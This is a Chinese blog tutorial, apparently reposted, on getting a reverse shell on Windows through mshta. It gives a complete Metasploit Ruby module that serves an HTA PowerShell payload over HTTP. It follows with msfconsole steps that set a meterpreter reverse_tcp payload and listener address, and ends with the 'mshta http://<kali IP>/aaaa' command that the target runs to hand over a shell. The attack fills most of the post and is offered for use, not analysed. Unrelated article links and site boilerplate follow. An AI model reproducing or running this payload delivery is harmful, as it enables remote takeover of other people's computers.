mshta 反弹shell

mshta 反弹shell  kali系统准备:  复制以下ruby代码到/usr/share/metasploit-framework/modules/exploits/windows/smb/msh_shell.rb目录(要注意代码缩进哦):###ThismodulerequiresMetasploit:https://metasploit.com/download#Currentso…

大家好,又见面了,我是你们的朋友全栈君。

  kali系统准备:

  复制以下ruby代码到/usr/share/metasploit-framework/modules/exploits/windows/smb/msh_shell.rb目录(要注意代码缩进哦):

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
  
  
class MetasploitModule  < Msf::Exploit::Remote
  Rank = NormalRanking
  
  include Msf::Exploit::Remote::HttpServer
  
  def initialize(info  = {})
    super(update_info(info,
      'Name' => 'Microsoft Office Payload Delivery',
      'Description' => %q{
        This module generates an command to place within
        a word document, that when executed, will retrieve a HTA payload
        via HTTP from an web server. Currently have not figured out how
        to generate a doc.
      },
      'License' => MSF_LICENSE,
      'Arch' => ARCH_X86,
      'Platform' => 'win',
      'Targets' =>
        [
          ['Automatic', {} ],
        ],
      'DefaultTarget' => 0,
    ))
  end
  
  def on_request_uri(cli, _request)
    print_status("Delivering payload")
    p = regenerate_payload(cli)
    data = Msf::Util::EXE.to_executable_fmt(
      framework,
      ARCH_X86,
      'win',
      p.encoded,
      'hta-psh',
      { :arch => ARCH_X86, :platform => 'win '}
    )
    send_response(cli, data, 'Content-Type' => 'application/hta')
  end
  
  
  def primer
    url = get_uri
    print_status("Place the following DDE in an MS document:")
    print_line("mshta.exe \"#{url}\"")
  end
end

  在命令行启动msf的服务:

service postgresql start

  再启动msf:

sudo msfconsole

  重新加载所有模块:

reload_all

  查找我们刚刚新建的msh_shell模块:

search msh_shell

  加载这个模块:

use exploit/windows/smb/msh_shell

  使用反弹shellcode, 配置本机地址,  配置uri地址

set payload windows/meterpreter/reverse_tcp
set lhost 192.168.0.105
set uripath aaaa
exploit

  window系统:

  打开运行命令,执行:

mshta http://kali系统的IP/aaaa

  kali系统就会收到一个window系统的shell

 

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/159701.html原文链接:https://javaforall.net

(0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • FFMPEG入门[通俗易懂]

    FFMPEG入门[通俗易懂]本文转自 http://blog.csdn.net/leixiaohua1020/article/details/15811977

    2022年6月26日
    28
  • mysql主从复制周期_Mysql主从复制[通俗易懂]

    mysql主从复制周期_Mysql主从复制[通俗易懂]Mysql主从复制背景:Mysql可以实现主从复制,在学习了Mysql主从复制后,将一些如何主从复制过程记录下来,供以后复习使用。准备:在做Mysql的主从复制前需要做一些准备工作:1、同步时间做主从的服务器的时间需要同步,不然会出问题。命令:ntpdateip(ntpdate命令需要先安装ntpdate)2、版本一致做主从的Mysql服务需要版本一致,或者从服务器的版本高于主服务器。主从复制…

    2022年8月13日
    2
  • JVM垃圾回收机制(一)[通俗易懂]

    JVM垃圾回收机制(一)[通俗易懂]一、什么是垃圾?1:引用计数算法:给对象中加一个引用计数器,每当有一个引用指向它时,计数器的值就加一,引用失效时,计数器的值就减一。当该对象引用计数器等于0的时候就被视为垃圾。该算法存在很大的缺陷,若两个对象存在互相引用,则两者的引用计数器都不为0,都不能被GC。如:publicclassReferenceCountingGC{publi

    2022年6月7日
    32
  • java取整函数

    向上取整Math.ceil()向上取整:比自己大的最小整数ceil是天花板的意思,表示向上取整,用数学符号⌈⌉表示Math.ceil(6.1)=7.0Math.ceil(6.9)=7.0向下取整Math.floor()向下取整:比自己小的最大整数floor是地板的意思,表示向下取整,用数学符号⌊⌋表示Math.floor(9.1)=9.0Math.floor(9.9)=10.0Math.round()四舍五入后取整,其算法为Math.round(x+0

    2022年4月8日
    113
  • Java基础知识学习笔记-12.1(待续)

    Java基础知识学习笔记-12.1(待续)

    2021年10月6日
    45
  • centos7执行ip addr命令ens33没有ip地址「建议收藏」

    centos7执行ip addr命令ens33没有ip地址「建议收藏」之前使用正常的虚拟机,突然的就连接不上了。执行ipaddr命令ens33没有ip地址查了几篇相关文章解决方法,主要有四种:mac地址问题 ONBOOT问题 uuid问题 NetworkManager问题目录mac地址问题ONBOOT问题uuid问题NetworkManager问题mac地址问题(我用的VMwareWorkstationP…

    2022年7月27日
    42

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号